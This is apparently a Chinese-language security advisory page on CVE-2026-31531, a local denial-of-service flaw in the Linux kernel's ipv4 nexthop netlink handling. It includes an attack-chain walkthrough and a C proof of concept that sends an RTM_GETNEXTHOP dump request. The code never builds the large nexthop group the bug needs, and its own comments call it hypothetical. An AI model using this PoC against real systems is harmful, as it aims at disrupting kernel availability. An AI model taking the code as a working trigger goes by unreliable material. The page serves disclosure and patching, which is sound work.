IPBUF安全漏洞报告
English
CVE-2026-31531 CVSS 5.5 中危

CVE-2026-31531: Linux内核ipv4下一跳DoS漏洞

披露日期: 2026-04-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31531
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSDenial of Serviceipv4nexthopNetlink

漏洞概述

Linux内核的ipv4下一跳处理模块存在一个漏洞。当通过RTM_GETNEXTHOP查询下一跳对象时,内核使用固定大小的skb(NLMSG_GOODSIZE)进行内存分配。这种固定分配方式对于单个下一跳或小型ECMP(等价多路径)组是足够的,但在处理大型下一跳组(例如包含512个下一跳)时,分配的缓冲区不足以容纳数据,导致内核发出警告,并可能引发拒绝服务。

技术细节

漏洞位于net/ipv4/nexthop.c文件的rtm_get_nexthop()函数中。该函数未根据实际需要查询的下一跳组大小动态计算所需的skb大小,而是使用了NLMSG_GOODSIZE这一固定值。当下一跳组规模较大时,生成Netlink消息所需的空间超过了预设的缓冲区大小,导致“message exceeded bound”错误。修复方案包括使用nlmsg_new()配合nh_nlmsg_size()进行动态大小分配,并修正了nh_nlmsg_size_grp()函数,使其能够根据传入的标志正确计算大小,并补充了之前遗漏的NHA_FDB的大小计算。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要获取本地低权限用户访问权限(AV:L, PR:L)。
STEP 2
步骤2:构造或查询大型下一跳组
攻击者绕过标准工具(如iproute2)的限制,通过Netlink套接字直接与内核通信,尝试创建包含大量下一跳的组,或者查询系统中已存在的大型下一跳组。
STEP 3
步骤3:触发固定分配缺陷
当内核的rtm_get_nexthop()函数处理该请求时,尝试使用固定大小的skb存储数据。
STEP 4
步骤4:导致拒绝服务
由于数据量超过固定缓冲区大小,内核触发WARNING警告,可能导致消息截断或内核不稳定,从而影响系统可用性(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> // PoC Concept: This code attempts to trigger the warning by querying/creating a large nexthop group. // Note: Standard iproute2 limits group size preventing reproduction via standard tools. // This requires a custom Netlink implementation to bypass iproute2 checks. #define BUFFER_SIZE 4096 int main() { int sock_fd; struct sockaddr_nl sa; char buffer[BUFFER_SIZE]; struct nlmsghdr *nlh; struct rtgenmsg *rt; // Create Netlink Socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock_fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr*)&sa, sizeof(sa)); // Construct a message to query a large nexthop group (Hypothetical Trigger) // In a real exploit, we would craft a specific RTM_GETNEXTHOP message targeting a large ID // or construct a large group if the creation path allows it. memset(buffer, 0, BUFFER_SIZE); nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_type = RTM_GETNEXTHOP; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct rtgenmsg)); rt = (struct rtgenmsg *)NLMSG_DATA(nlh); rt->rtgen_family = AF_INET; sendto(sock_fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr*)&sa, sizeof(sa)); printf("Trigger packet sent. Check dmesg for warnings."); close(sock_fd); return 0; }

影响范围

Linux Kernel (Stable Branches prior to patches 14cf0cd, 40bd39e, 615517f, 635038f)

防御指南

临时缓解措施
限制用户对网络命名空间的操作权限,避免非特权用户滥用Netlink接口。由于标准iproute2工具已限制组大小,普通用户难以直接触发,主要需关注内核版本更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表